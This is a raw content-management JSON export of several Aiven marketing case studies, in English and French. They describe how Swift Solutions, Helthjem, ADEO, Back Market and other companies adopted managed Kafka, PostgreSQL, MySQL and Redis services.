do."}],"markDefs":[],"style":"normal"},{"_key":"b16e76429430","_type":"block","children":[{"_key":"171fc05f35990","_type":"span","marks":[],"text":"“Database management is very important work and key to our overall mission, but it doesn’t directly contribute to the bottom line”, says Andy Librian, Technical Expert at Vidio."}],"markDefs":[],"style":"normal"},{"_key":"47136ab41b6a","_type":"block","children":[{"_key":"b179b6232b070","_type":"span","marks":[],"text":"Still, recurring problems with data pipelines and scalability have tangible consequences for streaming companies. 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{"__i18n_lang":"en","_createdAt":"2022-09-05T12:29:01Z","_id":"58ae63fb-c2da-4986-b03f-01d7830d3d82","_rev":"pv5QzE4Lm79BNhDrjkAQIb","_type":"caseStudy","_updatedAt":"2023-08-29T07:16:15Z","company":{"_ref":"17IOucz0A2afQRoggZvU06","_type":"reference"},"content":[{"_key":"87ca81f4adff","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"b220a4787e96","_type":"block","children":[{"_key":"335a2738f52b","_type":"span","marks":[],"text":"The logistics business is expanding and within it, Swift Solutions is growing its market share. They have to be able to scale fast and continually optimize in order to meet customer demands. By relying on Aiven’s fully managed services they can do this. "}],"markDefs":[],"style":"normal"},{"_key":"34b11eeae4dc","_type":"block","children":[{"_key":"21aa03d63695","_type":"span","marks":[],"text":"Swift uses Aiven for Redis ™* and Aiven for MySQL®️ in production, soon to be joined by Aiven for PostgreSQL® and Aiven for Apache Kafka® as they add more and more warehouses and open up their WMS for partners. This gives end users access to real-time data about their deliveries."}],"markDefs":[],"style":"normal"}],"title":"Highlights","variant":"oneColumn"},{"_key":"458fa228cba0","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"7ebf8bd0c1e4","_type":"block","children":[{"_key":"dc6cb0175b79","_type":"span","marks":["38b214375e1e"],"text":"Swift Solutions"},{"_key":"383c540437c5","_type":"span","marks":[],"text":", founded in 2020 and recently acquired by Tokopedia, is a Jakarta-based logistics company offering delivery and order fulfillment services in the fast-growing Indonesia region."}],"markDefs":[{"_key":"38b214375e1e","_type":"link","href":"https://www.swiftsolutions.id/"}],"style":"normal"},{"_key":"7fafea39c637","_type":"block","children":[{"_key":"a7d26883efd1","_type":"span","marks":[],"text":"The logistics industry has seen unprecedented growth in 2020-2022, partly due to COVID-19 and its influx of home-delivered goods, partly to technological innovation and new players that offer increasingly smooth and affordable service. What’s more, the business is also having to respond to shorter and shorter delivery time requirements. In Indonesia, services like the quick commerce Tokopedia NOW, required delivery times are down to under 120 minutes."}],"markDefs":[],"style":"normal"},{"_key":"4f744aada065","_type":"block","children":[{"_key":"8d05e944788d","_type":"span","marks":[],"text":"Caught up in this movement, Swift Solutions is growing rapidly, fuelled by their recent acquisition by Tokopedia. Read how Swift is scaling up their infrastructure with Aiven, in order to meet enormous growth from 15 million orders this year to 45 million next year."}],"markDefs":[],"style":"normal"}],"title":"The challenge","variant":"oneColumn"},{"_key":"67d65af7f783","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"b8719a5dc252","_ref":"6RKIzfTvV95lb8Kl2J4oMZ","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"33b4032b1fb1","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"9054de6a8519","_type":"block","children":[{"_key":"3a1fc5fff164","_type":"span","marks":[],"text":"“Our growth will be huge this year and the next,” says Al i Zainuddin, CTO at Swift Solutions. “This year, we expect to be processing about 15 million orders. Next year’s target is 40-45 million.” "}],"markDefs":[],"style":"normal"},{"_key":"c3b75cf47206","_type":"block","children":[{"_key":"b2e12f4412a6","_type":"span","marks":[],"text":"The first priority for Swift Solutions is to maintain their market share in this global change by growing their business and meeting the increasing needs. Their operations must be ready to scale up drastically in a short timespan. But that’s not all, because these changes are about more than scale. Like their competitors, Swift Solutions has to re-evaluate the whole architecture and consider how to set it up going forward. "}],"markDefs":[],"style":"normal"},{"_key":"ca2fddb481b7","_type":"block","children":[{"_key":"314214b60610","_type":"span","marks":[],"text":"Swift Solutions has been using a solution based on MySQL and Redis, with Kafka for data streaming and Kubernetes for orchestration. The company continuously struggled with finding DBAs to maintain it, an issue that became more and more critical as the amount of data increased. This represented a continuous, low-grade headache for Swift, with occasional peaks of migraine whenever outages took down their services."}],"markDefs":[],"style":"normal"},{"_key":"16c108448f6e","_type":"block","children":[{"_key":"4d51cf740a96","_type":"span","marks":[],"text":"After one particularly prolonged outage, things came to a head. Swift Solutions was aware that their data infrastructure support and maintenance had to be renewed, but not only were they unable to find DBAs to take the job on, but they were also reluctant to invest in a single technology solution. Outscoping any solution posed a clear risk to their flexibility in a period of growth. No matter which set of tools and skills they chose, it might all have to be changed up again if a new solution looked more promising in the changing market."}],"markDefs":[],"style":"normal"},{"_key":"15fdde93b089","_type":"block","children":[{"_key":"d0da47bb6f57","_type":"span","marks":[],"text":"Buying their data infra fully managed and hosted was their only safe course."}],"markDefs":[],"style":"normal"}],"variant":"oneColumn"},{"_key":"60206c8afcdf","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"7cdc9688a66a","_type":"block","children":[{"_key":"2e39e9e19426","_type":"span","marks":[],"text":"In Aiven, Swift Solutions found a partner who can host and manage for them the exact same solution as their old one. Aiven was able to provide all the data infrastructure components they needed, and what was more, they were collected under the same Aiven Console. Swift needed no immediate changes to their basic setup, all that had to be done was migrate the data over to Aiven’s services. This was easy to do without any downtime, allowing business to continue and customers to receive their orders. "}],"markDefs":[],"style":"normal"},{"_key":"d07c72b4577f","_type":"block","children":[{"_key":"00697be5631d","_type":"span","marks":[],"text":"Currently Swift Solutions is using Aiven for MySQL and Aiven for Redis for data storage, which is a very stable, quite conservative setup. Swift deploys their applications into a cloud based Kubernetes, and they have adopted the Aiven Kubernetes Operator for testing while Aiven is still actively developing it. "}],"markDefs":[],"style":"normal"},{"_key":"ae9050a002c1","_type":"block","children":[{"_key":"908c3d5c4ae0","_type":"span","marks":[],"text":"For consistent infrastructure as code, Swift uses Terraform and quickly integrated the Aiven Terraform Provider into their production deployments. This comprehensive orchestration and management solution makes their data workflow configuration effortless, reversible and reproducible."}],"markDefs":[],"style":"normal"},{"_key":"7a84e0db379e","_type":"block","children":[{"_key":"fd7fc7b6c73e","_type":"span","marks":[],"text":"“Being able to use Kubernetes and Terraform is a really good feature at Aiven,” says Ignacio Evan Daryanto, Tech Team Lead at Swift Solutions. “We have a better DevOps flow, and configuration errors are history.”"}],"markDefs":[],"style":"normal"}],"title":"The solution","variant":"oneColumn"},{"_key":"0b48eb987f54","_type":"testimonial","disabled":false,"fullWidth":false,"isHideMedia":true,"items":[{"_key":"35ee38019db9","_ref":"50Lyk5bVyE9eoRRed4FYUH","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"56e0cbe4f797","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"945e9117372f","_type":"block","children":[{"_key":"4526d0103e910","_type":"span","marks":[],"text":"Swift is happy knowing that their data is in excellent hands at Aiven, who keep the infrastructure up to date and healthy. “It’s still our own database, except it’s managed by Aiven,” says Evan. “Everything works smoothly, we don’t have to worry about it, and we can focus on our own feature development.”"}],"markDefs":[],"style":"normal"}],"title":"The outcome","variant":"oneColumn"},{"_key":"a1bfcb81afd7","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"6962b50099d1","_type":"block","children":[{"_key":"573f9086e6a50","_type":"span","marks":[],"text":"Alfi echoes this. “In practice, apart from Aiven’s excellent support, there’s not much functional difference between using our own infrastructure and using Aiven’s, but on the mental side, the difference is huge. We have a lot less pain and headaches now!” he laughs. "}],"markDefs":[],"style":"normal"},{"_key":"7609aa25872e","_type":"block","children":[{"_key":"c48054444f99","_type":"span","marks":[],"text":"Alfi adds: “Our personnel bandwidth is limited. It’s a much better use of our money to pay the management fee than to try to hire a team for just this function.” "}],"markDefs":[],"style":"normal"},{"_key":"c231b5a4e5ef","_type":"block","children":[{"_key":"e52740911bbf","_type":"span","marks":[],"text":"Alfi calculates that Swift’s TCO of Aiven’s services to be in the neighborhood of 10% compared to their previous setup, but he points out that with the reduced management costs, they’re actually saving money. Just the salary of one trained DBA brings their TCO savings into the 30-40% range. On top of that they have the benefits of increased reliability and stability."}],"markDefs":[],"style":"normal"}],"variant":"oneColumn"},{"_key":"54f01012fb2b","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"23c10e8a6213","_ref":"1Fmu90em1wIn9AVxwa2k3h","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"c1f1be58290e","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"a412fc2f974e","_type":"block","children":[{"_key":"513cda40b73e0","_type":"span","marks":[],"text":"The next technical step for Swift is to implement their Warehouse Management System 2.0: start using Aiven for Apache Kafka with Apache Kafka Connect to stream warehouse data into BigQuery. This way they can implement advanced horizontal logistics collaboration (HLC) with the larger Tokopedia ecosystem. "}],"markDefs":[],"style":"normal"},{"_key":"f783ce751a36","_type":"block","children":[{"_key":"dbd0b03fcd0c","_type":"span","marks":[],"text":"BigQuery data flowing through the system includes operational delivery and warehouse data but also monitoring and metrics, leading to a better overall view of the status of the supply chain. "}],"markDefs":[],"style":"normal"},{"_key":"78c2abc36097","_type":"block","children":[{"_key":"cd1c97923da8","_type":"span","marks":[],"text":"This will enable them to create operational and executive dashboards, plus a recommendation engine that will enhance integrated business planning, putaway processes and supply chain orchestration. "}],"markDefs":[],"style":"normal"},{"_key":"79a240ef5d9c","_type":"block","children":[{"_key":"9bfdd8d79852","_type":"span","marks":[],"text":"Another future improvement will be implementing change data capture (CDC) so that their sync with BigQuery can be continuous instead of hourly. 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{"__i18n_lang":"en","_createdAt":"2023-02-16T09:37:02Z","_id":"b579529f-90cc-41c9-bb29-9db492937885","_rev":"AUoLUkEDo6CVeRx5soruqz","_type":"caseStudy","_updatedAt":"2024-02-08T17:39:03Z","company":{"_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},"content":[{"_key":"efa603bb5cec","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"5abcb11d2a2a","_type":"block","children":[{"_key":"532b042d9abe0","_type":"span","marks":[],"text":"Aiven was key in the digital cloud-native transformation of Priceline "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ccb4661b8130","_type":"block","children":[{"_key":"3010388a8afb","_type":"span","marks":[],"text":"Priceline’s savings come from not having to maintain the system and from Aiven’s business model where data costs are not charged. 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{"__i18n_lang":"en","_createdAt":"2024-01-26T12:36:33Z","_id":"929b9c92-65aa-4c2f-9cf0-7f54b2cb8ede","_rev":"lhvtNBOlLYH5KiQFQ9mXMP","_type":"caseStudy","_updatedAt":"2024-01-30T08:10:18Z","company":{"_ref":"84b10f5e-408f-4d38-a01a-fed765bcefc3","_type":"reference"},"content":[{"_key":"8468be6163cb","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"589e337b0c87","_type":"block","children":[{"_key":"d177174a02d40","_type":"span","marks":[],"text":"One of the biggest distribution and delivery services in Norway, "},{"_key":"0adbe7276ece","_type":"span","marks":["445d9d2a1cbf"],"text":"Helthjem"},{"_key":"4bde9974d5c9","_type":"span","marks":[],"text":" has seen its delivery operations and its demand for data processing increase rapidly since it was founded in 2015. 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With the databases now running with superior levels of stability, scalability and performance, Helthjem’s small engineering team can focus on developing solutions for improving customer service, leveraging the potential of AI and supporting the company’s ongoing expansion."}],"markDefs":[{"_key":"445d9d2a1cbf","_type":"link","href":"https://helthjem.no/"}],"style":"normal"}],"variant":"oneColumn"},{"_key":"7301c1adce96","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"60a3be555d7e","_type":"block","children":[{"_key":"45b56155b25e","_type":"span","marks":[],"text":"Helthjem is part of media giant "},{"_key":"83e1b3c51961","_type":"span","marks":["66b6b773ea0c"],"text":"Schibsted"},{"_key":"080998b96417","_type":"span","marks":[],"text":" Norway. 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The company supports e-commerce in the country, delivering parcels from businesses to consumers, and enables consumer-to-consumer deliveries through its partner website. “It’s highly data intensive,” says Li. “And if our capability to process that data goes down, the whole business comes to a halt. We simply cannot afford any downtime.”"}],"markDefs":[],"style":"normal"},{"_key":"875566b76cea","_type":"block","children":[{"_key":"9ee9177738dc0","_type":"span","marks":[],"text":"Initially supported by the IT team at parent company Schibsted, Helthjem formed its own small, tight-knit engineering team, including seven software developers, two years ago. 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PostgreSQL has a well-deserved reputation for reliability, stability and performance but its management was taking up too much time for our small team. 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Helthjem has to manage wide variations in delivery volumes — and in data processing requirements — throughout the year. These can reach extreme spikes during events like Black Friday or in the run up to Christmas. In 2023, Helthjem broke its existing records for delivery volumes during Black Week and achieved the highest weekly volume in its history."}],"markDefs":[],"style":"normal"},{"_key":"f3b861c1e754","_type":"block","children":[{"_key":"ffd97509ad880","_type":"span","marks":[],"text":"“All the systems we currently run are event-driven. In busy holiday periods, like Black Friday, we consume about a million events a day — and that depends on Aiven for PostgreSQL,” says Li. “We have an event store that receives all of the things that happen in the form of the event. That is put together in a stream and from there we create a projection database which creates the latest state of the query. The ‘hot’ event store which holds current data that is being used and processed is about 275 gigabytes of data. Projections — all of the state since we started two years ago — is about 355 gigabytes of data. For example, our events table has over 350 million records. So our databases are not small, but with Aiven they just work.”"}],"markDefs":[],"style":"normal"},{"_key":"c850b1b49b79","_type":"block","children":[{"_key":"2cea79f219ee0","_type":"span","marks":[],"text":"The performance of the system of course impacts on customer service levels. In addition to the parcels being collected and delivered successfully, customers want to monitor the status of their parcels. “The system that enables customers to track their packages runs on Aiven for PostgreSQL. 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{"__i18n_lang":"en","_createdAt":"2022-09-11T12:23:13Z","_id":"97a6f337-05d2-4247-9275-e89d42383441","_rev":"If5MXS1R4Zj7MKtcdBThj5","_type":"caseStudy","_updatedAt":"2024-02-13T14:38:37Z","additionalResources":{"items":[{"_key":"e60460fa0625","_ref":"5mphVpZ9KwsYIklKpnPm1Q","_type":"reference"},{"_key":"2484e3caeb35","_ref":"1lXo1w2g8BTdPN9kxrvRFI","_type":"reference"}],"subtitle":[{"_key":"0ca996d3ba06","_type":"block","children":[{"_key":"f0998282fa8a0","_type":"span","marks":[],"text":"Check out these related resources in our library!"}],"markDefs":[],"style":"normal"}],"title":"  Where to go next"},"company":{"_ref":"Qi6syfOyHgBi7ehXtqDgB","_type":"reference"},"content":[{"_key":"b5544c951114","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"85ef5bc2f4cb","_type":"block","children":[{"_key":"2823902bfa240","_type":"span","marks":[],"text":"Wolt is a local commerce company founded in 2014 in Helsinki, Finland and operating in 23 countries and 250+ cities around the world, serving millions of customers. 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{"__i18n_base":{"_ref":"e385d065-242f-4480-9df7-383c7a9cae13","_type":"reference"},"__i18n_lang":"fr","_createdAt":"2022-09-19T13:50:50Z","_id":"e385d065-242f-4480-9df7-383c7a9cae13__i18n_fr","_rev":"UPIPX87Xr8dUQrGWEJ51s3","_type":"caseStudy","_updatedAt":"2024-12-09T11:11:27Z","company":{"_ref":"3A6EbsdpVkSiacDkiNvUT5","_type":"reference"},"content":[{"_key":"2bf65a0f5a70","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"ee1d3e965ad1","_type":"block","children":[{"_key":"eb59371ad2c20","_type":"span","marks":[],"text":"Le groupe ADEO est le troisième plus grand acteur du marché mondial de l'amélioration de l'habitat. Fondé en 1986 et basé en France, ADEO sert plus de 450 millions de clients dans 15 pays et a révolutionné l'amélioration de l'habitat et le bricolage grâce à son immense échelle et une simple raison d’être : « se sentir utile dans tout ce que nous faisons - utile pour nous-mêmes, pour notre entourage, pour les autres et pour le monde »"}],"markDefs":[],"style":"normal"}],"title":"Aperçu","variant":"oneColumn"},{"_key":"4065132c2d97","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"16959c3762da","_type":"block","children":[{"_key":"49b101adb5e20","_type":"span","marks":[],"text":"La mission globale est profondément ancrée dans la psyché du groupe et guide la manière dont les choses sont faites en interne. Cependant, avec des données cloisonnées entre le siège et les différents départements au sein d'une communauté de 32 entreprises, être utile dans tout ce que l'on fait est plus facile à dire qu'à faire. Ces entités, dont les données sont éparpillées parmi des milliers de bases de données locales, s'intègrent au site web d'ADEO ainsi qu'à plus de 700 magasins physiques.\n\nUn défi majeur a été de transformer cette réalité en un modèle de données unifié basé sur le cloud sans interrompre les opérations quotidiennes de données d'un groupe servant des millions de clients tout en répondant aux cas d'utilisation modernes.\n\nLes cas d'utilisation traditionnels incluaient la gestion de la chaîne d'approvisionnement et des stocks, les relations avec les prestataires de services et les clients, avec des données généralement segmentées dans le temps et cloisonnées par emplacement. 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Ainsi, l'application évoluera réellement ; nous pouvons passer des cas d'utilisation plus traditionnels à de nouveaux cas d'utilisation basés sur le cloud et la plateforme… et nous devons être capables de connecter toutes nos applications. »"}],"markDefs":[],"style":"normal"}],"title":"Le défi","variant":"oneColumn"},{"_key":"90751ceceea4","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"ef94b5e48fdc","_ref":"6eyJ8ttwrIKikUTVBeUcEL__i18n_fr","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"58e7812b4749","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"a9928d298cdb","_type":"block","children":[{"_key":"5a349ca0f88a0","_type":"span","marks":[],"text":"At the cusp of a massive transformation, the data team started running just a few Kafka services, and soon began to realize just how much more easily they could meet their goals with hosted, managed cloud services."}],"markDefs":[],"style":"normal"},{"_key":"682f611d2453","_type":"block","children":[{"_key":"fa07a67bd2a90","_type":"span","marks":[],"text":"À l'aube d'une transformation massive, l'équipe de données a commencé à utiliser quelques services Kafka et a rapidement réalisé combien il serait plus facile d'atteindre ses objectifs avec des services cloud gérés et hébergés.\n\n« Il y a un an, nous avions besoin que notre équipe puisse fournir des services de bases de données très, très rapidement. » Julien explique qu'une fois le groupe a commencé à utiliser les services gérés et hébergés d’Aiven pour divers cas d'utilisation, « nous avons pu déployer des bases de données dans le cloud et mettre en place l'ensemble du processus de transformation en 2 à 3 mois. Même moins. »\n\nAujourd'hui, le groupe ADEO utilise des centaines de services Aiven, y compris PostgreSQL, Elasticsearch, Redis, MySQL et Apache Kafka, tant au siège que dans toutes les unités commerciales et magasins."}],"markDefs":[],"style":"normal"}],"title":"La solution","variant":"oneColumn"},{"_key":"d482c7d11582","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"44ff69af6b37","_type":"block","children":[{"_key":"e44a40c1413a0","_type":"span","marks":[],"text":"Un catalyseur majeur pour une transformation aussi rapide a été la flexibilité assurée par l’indépendance vis-à-vis du fournisseur de cloud d’Aiven, ce qui a aidé le groupe ADEO à éviter les écueils et le verrouillage rigide des fournisseurs. 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Nous pouvons facilement faire des demandes de fonctionnalités, comme la surveillance de la disponibilité. »\n\nAvec Aiven, l'infrastructure de données du groupe est passée d'une configuration cloisonnée, segmentée dans le temps et sur site à un modèle cloud centralisé, en temps réel et extrêmement flexible, permettant une vitesse de développement à un niveau entièrement nouveau.\n\nPour ADEO, cela représentait un mouvement stratégique majeur qui, avec Aiven, a été étonnamment facile. Grâce à ces changements de processus et de ressources, Aiven a aidé les capacités d'information du groupe à se développer vers l'avenir et au-delà."}],"markDefs":[],"style":"normal"}],"title":" Le résultat","variant":"oneColumn"},{"_key":"9a87386350d6","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"ad8ed0effcc6","_ref":"3jhoeW4WtmLGAT0ZFNUpSq__i18n_fr","_type":"reference"}],"rounded":false,"variant":"media"}],"contentIsGated":false,"gatedContent":[{"_key":"8b50d533815f","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"057748f007e1","_type":"block","children":[{"_key":"913006408cc50","_type":"span","marks":[],"text":"The ADEO group, the 3rd largest global player in the home improvement market, is powered by a single data platform requiring the sort of tight integration that enables comprehensive insights that help them serve their customers."}],"markDefs":[],"style":"normal"},{"_key":"e15db7ea6dbf","_type":"block","children":[{"_key":"ac32fb39da540","_type":"span","marks":[],"text":"Although the databases and middleware team still supports thousands of on-premise database instances, they now use Aiven’s managed services (including Apache Kafka®, PostgreSQL®, OpenSearch, MySQL® and Redis™) to provide database and messaging services to internal users across the company."}],"markDefs":[],"style":"normal"},{"_key":"ce3d046f14c6","_type":"block","children":[{"_key":"aaf1e91ad5550","_type":"span","marks":[],"text":"But that isn’t the only reason ADEO group enjoys Aiven’s hosted services. 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{"__i18n_base":{"_ref":"e915be44-b540-44fc-a34f-d41bdacb82c8","_type":"reference"},"__i18n_lang":"fr","_createdAt":"2024-07-03T07:31:29Z","_id":"e915be44-b540-44fc-a34f-d41bdacb82c8__i18n_fr","_rev":"CsJhS699U5wscrFy7LA9v5","_type":"caseStudy","_updatedAt":"2024-12-09T11:46:20Z","company":{"_ref":"791c5a85-1bd2-402f-94e8-23035c3ce76a","_type":"reference"},"content":[{"_key":"a8bd0f1636ec","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"8dcc4ff3aa36","_type":"block","children":[{"_key":"b506ce65122d0","_type":"span","marks":[],"text":"La plateforme de Back Market connecte les acheteurs et les vendeurs d'appareils électroniques d'occasion reconditionnés. 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L'entreprise s'appuie fortement sur des données et des analyses en temps réel pour optimiser les performances de la plateforme et offrir une expérience exceptionnelle aux acheteurs et aux vendeurs."}],"markDefs":[],"style":"normal"}],"title":"Un leader mondial des produits électroniques reconditionnés","topOverlap":false,"variant":"oneColumn"},{"_key":"f545e23507a7","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-69af87e2f887859f0f033dc6955eb8c708faef1b-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"e72b3bf17b5b","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"0ccd5d5bf4d7","_type":"block","children":[{"_key":"bae7e7980fce0","_type":"span","marks":[],"text":"Début 2024, Back Market a décidé de transférer ses opérations de son fournisseur de cloud existant vers Google Cloud. Cela incluait la migration des clusters critiques Aiven for Apache Kafka de Back Market. L'entreprise disposait de plusieurs clusters Apache Kafka® répartis sur quatre régions : un cluster de production actif pour l'Europe, les États-Unis et l'Asie-Pacifique, ainsi que trois clusters pour son environnement de préproduction. Il existait également des clusters plus petits utilisés pour le développement."}],"markDefs":[],"style":"normal"},{"_key":"e1bded267356","_type":"block","children":[{"_key":"b3ceb61697dc","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"aeb6f857c64e","_type":"block","children":[{"_key":"ee1687fc7db80","_type":"span","marks":[],"text":"L'entreprise s'appuie sur Apache Kafka pour transférer des données opérationnelles, telles que les informations produits, les prix, la disponibilité, et bien plus encore, vers des solutions d'analyse de données. « Notre cas d'utilisation n'est pas si inhabituel », explique Tomer Levy, Data Engineer chez Back Market. « Nous utilisons Aiven for Apache Kafka pour centraliser les flux de données provenant de plusieurs services, les nettoyer, puis les transmettre à nos analystes et à nos algorithmes d'IA clés. »"}],"markDefs":[],"style":"normal"},{"_key":"9d82c8a96bba","_type":"block","children":[{"_key":"52acebeae3fc","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"f8f49c6f0092","_type":"block","children":[{"_key":"a34ad2bff5490","_type":"span","marks":[],"text":"Back Market exploite les informations précieuses issues des données et des algorithmes d'IA pour optimiser les performances de sa plateforme. Par exemple, en identifiant les produits les plus et les moins vendus, les habitudes d'achat des clients et les vendeurs les plus performants. Un autre exemple est l'évaluation des produits proposés par différents vendeurs pour choisir l'appareil qui répond le mieux aux besoins uniques d'un acheteur."}],"markDefs":[],"style":"normal"},{"_key":"fe9af32b43d5","_type":"block","children":[{"_key":"0441b6de6b24","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"e31f7f330133","_type":"block","children":[{"_key":"903c8004823f0","_type":"span","marks":[],"text":"Ce type d'informations améliore l'expérience utilisateur tout en permettant à l'entreprise d'augmenter ses marges. La migration des clusters Apache Kafka était cruciale car, si un service de l'infrastructure de données ne pouvait pas communiquer avec le cluster Kafka, de nombreuses données précieuses et les services d'amélioration des performances associés pourraient être perdus, ce qui nuirait à l'expérience client."}],"markDefs":[],"style":"normal"},{"_key":"e6079b4962c5","_type":"block","children":[{"_key":"fbb150ba99c70","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"c96f5424f9d9","_type":"image","asset":{"_ref":"image-e04768d8a2a1ae348c1b180cb8e2f81a5f03fec6-1200x628-png","_type":"reference"}}],"title":"Migration de clusters Apache Kafka d'un cloud à un autre","topOverlap":false,"variant":"oneColumn"},{"_key":"01db8c0088c9","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"60e4bd52abfe","_type":"block","children":[{"_key":"d7c005fce7600","_type":"span","marks":[],"text":"La relation entre Aiven et Back Market avait débuté trois ans plus tôt, lorsque l'entreprise avait restructuré son infrastructure de données, adopté Kafka comme plateforme de streaming de données et choisi Aiven for Apache Kafka comme service entièrement géré."}],"markDefs":[],"style":"normal"},{"_key":"49d4fe1a59f6","_type":"block","children":[{"_key":"b3fe1b35aea8","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"9552253c5be7","_type":"block","children":[{"_key":"1d14cb15286e0","_type":"span","marks":[],"text":"Une fois que Back Market a décidé de migrer vers Google Cloud, Levy et son équipe se sont tournés vers Aiven pour obtenir un support dans le cadre de la migration à venir. Aiven propose une plateforme disponible sur plusieurs clouds, et tous les services Aiven peuvent être localisés ou relocalisés auprès de différents fournisseurs ou régions cloud. Malgré cela, Levy craignait que la migration des clusters Kafka soit un projet complexe et chronophage."}],"markDefs":[],"style":"normal"},{"_key":"96bc828c8dc7","_type":"block","children":[{"_key":"dd5601a99832","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"a6a9a757e8a1","_type":"block","children":[{"_key":"85d2ed4343200","_type":"span","marks":[],"text":"Cependant, après une session de découverte visant à établir les besoins détaillés de la migration, Aiven a démontré à l'équipe de Back Market qu'il s'agirait d'un processus simple."}],"markDefs":[],"style":"normal"},{"_key":"7aeec9d64959","_type":"block","children":[{"_key":"bac5c318bb77","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"7b7bbd85b5d1","_type":"block","children":[{"_key":"cad3d15f24440","_type":"span","marks":[],"text":"« Aiven dispose d’un ensemble puissant d’outils pour migrer les services, ce qui a facilité une grande partie des tâches techniques complexes lorsque nous avons changé de fournisseur cloud », explique Levy. « C’est une fonctionnalité phare qui a fait une réelle différence pour le projet et notre niveau de confiance. Vous pouvez facilement revenir en arrière si quelque chose ne fonctionne pas, ce qui est rassurant. »"}],"markDefs":[],"style":"normal"},{"_key":"24b1021c2272","_type":"block","children":[{"_key":"7b396f6f8e3f","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"5b0aea6e0f9d","_type":"block","children":[{"_key":"1a05d64b91680","_type":"span","marks":[],"text":"Le deuxième aspect du support d’Aiven concernait la mise en réseau, afin de garantir que les clusters et les services puissent toujours communiquer après la migration. « L’aide d’Aiven pour concevoir la topologie réseau et tirer parti du peering Virtual Private Cloud (VPC) a été inestimable », ajoute Levy."}],"markDefs":[],"style":"normal"}],"title":"La plateforme Aiven, ses outils et son support rendent possible la migration vers le cloud autogérée.","topOverlap":false,"variant":"oneColumn"},{"_key":"16ed0d8ea374","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center 